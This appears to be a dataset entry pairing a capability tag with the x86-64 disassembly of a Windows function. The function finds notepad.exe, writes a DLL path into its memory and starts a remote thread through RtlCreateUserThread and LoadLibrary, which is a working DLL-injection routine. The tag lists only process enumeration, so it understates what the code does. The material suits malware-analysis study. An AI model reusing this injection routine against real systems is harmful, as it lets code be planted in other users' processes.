Function at 0x140012470
Capabilities:
Enumerate processes

Disassembly:
push rsi
push rdi
sub rsp, 0x4e8
mov rax, qword [0x140027010]
xor rax, rsp
mov qword [rsp + 0x4d0], rax
movups xmm0, xmmword [0x140020508]
xor esi, esi
xor eax, eax
movups xmm1, xmmword [0x140020518]
lea rdi, [rsp + 0x60]
mov qword [rsp + 0x50], rsi
mov ecx, 0x238
xor edx, edx
rep stosb byte [rdi], al
lea ecx, [rsi + 2]
movups xmmword [rsp + 0x2a0], xmm0
movups xmmword [rsp + 0x2b0], xmm1
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400124e6
lea rcx, [0x140021bf0]
call fcn.140012d90
xor eax, eax
jmp 0x14001288d
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x14001251c
lea rcx, str.Process32First
call fcn.140012d90
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14001288d
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14001258b
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14001257b
nop word [rax + rax]
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14001258b
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140012550
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14001288d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rsp + 0x68]
test edi, edi
jne 0x1400125a3
xor eax, eax
jmp 0x14001288d
mov edx, edi
mov qword [rsp + 0x500], rbx
lea rcx, str._t___Getting_proc_id:__u_n
call fcn.140008cb0
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400125e4
lea rcx, [0x1400205c8]
call fcn.140012d90
xor eax, eax
jmp 0x140012885
lea rcx, [0x14001c058]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x14001260a
lea rcx, str.GetModuleHandle
call fcn.140012d90
jmp 0x14001287a
mov qword [rsp + 0x508], rbp
lea rdx, str.RtlNtStatusToDosError
mov rcx, rdi
mov qword [rsp + 0x4e0], r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14001c038]
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbp, rax
test rax, rax
jne 0x140012653
lea rcx, str.GetModuleHandle
call fcn.140012d90
jmp 0x14001286a
lea rcx, str._t___Looking_for_RtlCreateUserThread_in_ntdll_n
mov qword [rsp + 0x518], r14
call fcn.140008cb0
lea rdx, [0x140020a10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140012690
lea rcx, [0x140020648]
call fcn.140012d90
jmp 0x140012862
mov rdx, r14
mov qword [rsp + 0x510], r12
lea rcx, str._t___Found_at_0x_p_n
call fcn.140008cb0
lea rcx, str._t___Looking_for_LoadLibrary_in_kernel32_n
call fcn.140008cb0
lea rdx, [0x140020638]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
jne 0x1400126dc
lea rcx, [0x140020648]
call fcn.140012d90
jmp 0x14001285a
mov rdx, r12
lea rcx, str._t___Found_at_0x_p_n
call fcn.140008cb0
xor r9d, r9d
lea r8, [rsp + 0x2c0]
mov edx, 0x104
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rdx, [rsp + 0x2c0]
lea rcx, str._t___Full_DLL_Path:__s_n
call fcn.140008cb0
lea rax, [rsp + 0x2c0]
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], si
jne 0x140012730
lea rcx, str._t___Allocating_space_for_the_path_of_the_DLL_n
add rdi, rdi
call fcn.140008cb0
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov r8, rdi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x14001277d
lea rcx, [0x140020720]
call fcn.140012d90
jmp 0x14001285a
mov rdx, rbp
lea rcx, str._t___Writing_into_the_current_process_space_at_0x_p_n
call fcn.140008c40
mov r9, rdi
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x2c0]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400127bd
lea rcx, [0x140020778]
call fcn.140012d90
jmp 0x140012845
mov qword [rsp + 0x48], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rbp
xor r8d, r8d
mov qword [rsp + 0x30], r12
xor edx, edx
mov qword [rsp + 0x28], rsi
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call r14
test eax, eax
jns 0x140012819
test r15, r15
je 0x140012800
mov ecx, eax
call r15
mov ecx, eax
jmp 0x140012805
mov ecx, 0x54f
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str.RtlCreateUserThread
call fcn.140012d90
jmp 0x140012845
lea rcx, str.Remote_thread_has_been_created_successfully_..._n
call fcn.140008cb0
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r12, qword [rsp + 0x510]
mov r14, qword [rsp + 0x518]
mov rbp, qword [rsp + 0x508]
mov r15, qword [rsp + 0x4e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rbx, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x4d0]
xor rcx, rsp
call fcn.140015dd0
add rsp, 0x4e8
pop rdi
pop rsi
ret